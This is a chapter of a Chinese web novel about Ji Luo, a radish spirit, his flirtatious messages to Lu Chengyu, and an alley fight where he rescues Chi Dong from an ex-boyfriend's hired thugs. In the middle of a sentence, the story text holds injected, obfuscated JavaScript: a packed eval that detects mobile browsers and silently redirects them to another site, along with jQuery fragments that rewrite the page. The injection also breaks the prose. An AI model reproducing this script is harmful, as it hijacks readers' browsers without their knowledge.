16.立刻伸手捂住脸

作品:《萝卜进城后被腹黑男大娇养了

    “季萝,你怎么了?”


    “哐啷”一声,铁盘从手中滑落,季萝猛地回头,看见小李从洗手间出来,他打了个磕巴:“没……没什么。”


    距离陆承屿暗示他是萝卜成精已经过去了两天,这几天他一直心慌,夜里还会梦到被人揪着萝卜叶子放锅里煮。


    好在陆承屿这几天工作忙,并没有回家找监控,不过就算他找也是找不到的,因为已经被季萝藏起来了。


    工作室里,陆承屿与品牌方商讨完毕,签完合同后目送对方离去,找来了路易。


    路易在国外学的艺术方面专业,自然也就充当美术指导,陆承屿靠在沙发上,整理了一下衣袖:“mv怎么样了?”


    他们工作室全称“Verdant”,高考毕业后一个朋友拉陆承屿和路易一起创立的,属于文化传播工作室。


    朋友有些人脉资源,再加上成立初期找的那位摄影师天赋极高,这几年也和不少艺人品牌方有过合作,赚了不少钱也拿了不少奖,在业内小有名气。


    但路易一直都想拿春华奖。春华奖认可度高,但要入围不仅需要打点关系,还要够硬的作品以及市场认可,因此从第一步寻找契合主题的人物来看,难度就很大。


    “粗剪版出来了,甲方很满意,不用打回去重做,”路易翘着二郎腿,“春华奖的主题是原野,之前定的方案是拍摄微电影,电影人物的话,我们之前合作过的小艺人好像条件都还可以。”


    陆承屿刚要回答,手机一震,他拿起来一看,居然是季然。


    这人上一次发信息还是找自己a宿舍电费,陆承屿点开聊天框一看,脸色沉了下去。


    【把季萝电话给我。】


    路易凑了过来,眼尖地看到了“季萝”两个字,十分欠揍地吹了声口哨:“和小漂亮发展得怎么样了?”


    陆承屿:“……滚。”


    就在路易识趣地坐了回去,以为他不会回答的时候,陆承屿超绝不经意地挪了过来,把手机屏幕透露在他面前:“他这几天总给我发信息,有点烦。”


    这谁能忍住不看?


    于是路易中了圈套。


    【季萝:哥哥你在干什么呀ovo】


    陆承屿则淡定回复:“工作。”


    过了大约十分钟——


    【季萝:哥哥你今天下午会在家吗ovo】


    陆承屿惜字如金:“不。”


    又过了十分钟——


    【季萝:那你明天下午会在家吗?后天呢?你会沉我不在家的时候回家吗ovo】


    陆承屿大概觉得有点不对劲,于是询问:“发生什么事了吗?”


    季萝秒回:“没有。”


    这时他发挥了自己偶尔嘴甜的特质,后面跟了一条:“响你了,哥哥你一个人回家的话一定要高素我哦~”


    第二天又是一样的对话。


    陆承屿恨不得路易逐字逐句背诵,一个页面在他面前停留了整整三分钟还不往下滑,路易忍无可忍自己扒拉屏幕。


    看完后,他说:“每天一样的问题,你不觉得有点烦人吗?”


    陆承屿面无表情看着他:“不觉得,滚。”


    路易冷笑:“这是你自己说的。”


    陆承屿:“…………”


    室内安静了几秒,路易“嘶”了一声,故意不理会陆承屿暗暗的炫耀之意,开始诋毁:“他怎么写错这么多字,文盲吗?”


    肩膀挨了一圈重击,他被请了出去。


    陆承屿在会议室坐了片刻,打开了购物软件,搜索青少年识字卡片。


    -


    另一边,季萝下班后在门口等了一会儿,发现陆承屿还没来,就想走到不远处的店里买块小蛋糕。


    这几天他总心虚,想让哥哥忘记叶子的事情,时不时还旁敲侧击发信息问陆承屿会不会趁他不在家,回家找监控。


    为了弥补,他决定给哥哥买一块小蛋糕。


    所谓吃人嘴短,哥哥应该不会计较他总发信息的事。


    正要出门,小李收拾好东西出来,看见他后随口问了一句:“迟东两天没来上班了,也没辞职,是出什么事儿了吗?”


    季萝面色凝滞一下:“不…不知道啊。”


    细想一下,从那天之后他和迟东的关系就僵了很多,大多数时候迟东都把自己当空气,不理会他说的话。


    他叹了口气,继续往前走。


    蛋糕店在这条街尽头,和烧烤店之间隔得不远,季萝走进去后站在冰柜前挑选一会儿,最后拿了草莓奥利奥的。


    结账后,季萝拎着蛋糕走出店门。


    临近期末,这条街路灯都坏了,昏暗的暖黄色灯光时不时闪烁一下,看上去下一秒就要咽气。


    夜里温度高,热风裹挟全身,不一会儿就叫人出汗,身上一片粘腻。


    季萝受不了,想快步走回店内蹭空调,然而他却听见街尽头铁门那边传来响动。


    虽说A大没有围墙,但铁门算是分隔校园内外的一个界限,蛋糕店和铁门之间又隔了一条小巷,平时大家会把不用的杂物堆在里面。


    一开始季萝以为是流浪猫,就要快步离开,然后他就听见传来了隐隐约约的人声。


    “论坛上都吵疯了,上次你身边那个到底是什么人?!”


    声音有点熟悉,但季萝想不起来。


    紧接着,迟东的声音出现了。


    他没有回答问题,语气特别不耐烦:“死缠烂打有意思吗?我已经不喜欢你了。”


    “你说不喜欢就不喜欢?我们分分合合都多少次了,你特地找他来刺激我的是不是?”


    这时,季萝才反应过来这明显是个男声,不免震惊。


    迟东没有说话,那个人继续说:“你没看论坛吗?他就是个被人包养的廉价品,有金主了你还眼巴巴凑上去?”


    “你别自作多情了,”迟东说,“我就算追一个有金主的,也不会再跟你……”


    话还没说完,就是一阵闷响,然后是一声惨叫。


    从脚步声判断,巷子里显然不止两个人,季萝心里一惊。


    “你找了这么多人来揍我出气的是吧?你以为我不敢报警吗?!”


    “随便,你报警,我就把你男女不忌脚踏几只船的事儿做成PPT发出去。”


    巷子里,结结实实挨了一圈的迟东呲牙咧嘴的捂着脸:“何树,你有病吧?”


    何树靠墙站在他对面,身前还有一个手臂上有纹身的社会人士,他满不在意道:“打人别打脸啊,毁容了怎么办?”


    正要再给人抡上一圈,巷口冲进来一个人。


    看见迟东起码被人摁着,季萝刚冲进来就后悔了。


    他应该先报警的。


    不过他还是勇敢地走到迟东面前,直视着何树:“……有话好好说,别打架。”


    看到来人的那一刻,何树和迟东都愣住了。


    何树上下打量他一番,嗤笑一声:“你信不信我连你一起打?”


    他跟那天一样充满敌意,而且比那天更凶,季萝瑟缩一下。


    旁边一个纹着花臂的中年男性放开迟东,站起身来,比季萝高了一截。


    他一把钳住季萝的肩膀,把人摁到墙上。


    粗粝的墙面与脸摩擦了一下,季萝吃痛,手里的蛋糕掉到地上。


    这一带没有监控,况且迟东也不敢报警,何树更加为所欲为:“你除了一张脸到底还有什么值得他喜欢的,他还没跟我分手的时候就用我给他买的车、我买的头盔天天送你上下班,你要不要脸?”


    季萝觉得自己真冤枉。


    他挣扎了一下,反被摁得更死:“我们只是朋友,而且我给他钱了。”


    此话一出,何树愣了一下,明显更生气了。他走近了些许,看着季萝的眼睛:“你把他当司机呢?”


    此时,瘫在地上撞死的迟东坐不住了,他良心实在有点过不去:“你放开他,他确实什么都不知道。”


    “你俩演什么苦情戏码?”何树脸色阴沉,让人把季萝调了个方向,面朝自己。


    他没了耐心,打算把


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186671|195963||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这两个人都揍一顿解解恨。


    “把他手机拿出来。”他居高临下地看着季萝,接过花臂男递过来的手机,放在手里掂量了一下,“手机可不便宜,陆承屿对你还挺好的。”


    他看着季萝,威胁说:“我不会让他们下手太重的,但你要是报警……”


    还没说完,他就听见季萝冷冷地说了一句:“还给我。”


    他长相本来就漂亮得带了一点攻击感,只是平常看上去总是不在状态,跟人说话时也下意识带了笑容,所以给人一种温和感。


    然而他此时面无表情,眉头还皱着,攻击性就暴露出来。


    迟东轻轻挑眉,往后退了一步。


    他就要把手机收回到自己口袋中的时候,变故陡生。


    季萝被擒着的手猛然发力,硬生生将花臂男甩开,然后顺手抄起旁边的木棍,狠狠地往人身上抡了过去。


    “啪啦”一声,木棍结结实实敲在花臂男肩膀处,应声断成两截,季萝自己吓一跳,扔了棍子。


    酒吧那天人太多了,他只能先跑,今天只有两个人,应该应付得来。


    以前他在村里又不是没打过架。


    一时几人都被震住,毕竟季萝看上去细胳膊细腿的,哪来这么大力气?


    花臂男捂着肩膀龇牙咧嘴,气得一拳就往季萝脸上去。


    季萝偏头躲开,直接就往何树身上扑了过去,等到人要跑时,拽着他的衣领把人揪了回来。


    他力气很大,何树感觉要被掐死,踉跄地退了回来。


    季萝在他身上摸到自己的手机,拿回来放到小挎包里。


    然而也正是这一下,让他被人扯住了头发。


    头皮一紧,眼见何树也要上来将人擒住,他抬腿,狠狠踹了何树一脚,在人白色衣服上留下一个完整的鞋印。


    但身后的人难以摆脱,季萝被拽得站不稳,眼看着双手都要被捆住——


    “哐啷”一声,头皮一松,季萝只闻到一股各种厨余垃圾混杂在一起的馊味,还没来得及看身后是什么状况,就被人抓住手腕,一路往巷口奔去。


    途中回头一看,原来是刚刚迟东把垃圾桶翻转过来,里面的垃圾全部倒在了两人头上。


    不知道跑了多久,两人蹲在一棵树下,剧烈地喘息。


    等到歇得差不多了,季萝想起最后一幕,笑得前仰后合,差点一屁股摔倒。


    好在迟东扶住了他。


    一股莫名的尴尬袭来,迟东把人扶稳后就快速放开了他:“……刚刚谢谢了。”


    季萝看着他,认真的说:“不客气。”


    他半边脸还红着,有的地方被墙壁划破了一点,迟东本来想提醒,却看见他拿出手机:“报警吧,你前男友太过分了。”


    输入110后,就要拨通,迟东反应激烈,直接抢过手机摁了挂断。


    季萝又把手机抢了回来,不解地看着他,突然想起刚刚那个人说的“要是敢报警,就把你脚踏几只船和男女不忌的事做成PPT发出去”。


    这段话里很多专业术语,季萝没听懂,但大概知道是赤.裸裸的威胁。


    他问:“所以你男女不忌,而且脚踏两只船了吗?”


    季萝的眼神一向很清澈,有时候让人分不清他到底是装傻还是真的不懂,迟东被问得有些烦躁,抓了抓头发,破罐子破摔道:“是又怎么样?”


    季萝点了点头,没说什么。


    迟东反应再一次激烈起来:“你能坦然接受双性恋,不能接受同性恋?!我就说你是装的!”


    季萝无奈看他一眼,想表示自己其实不知道“男女不鸡”是什么意思。


    不过他没能问出口。


    因为停在他们面前,颜色骚包的蓝车突然滴了两声。


    驾驶位车窗缓缓降下,露出陆承屿面无表情的脸。


    后座的车窗也降下来,路易探出头,对季萝露出一个和煦的笑容:“你哥哥等你好久了呢。”


    季萝立刻伸手捂住了左脸。


    他觉得自己有点完蛋。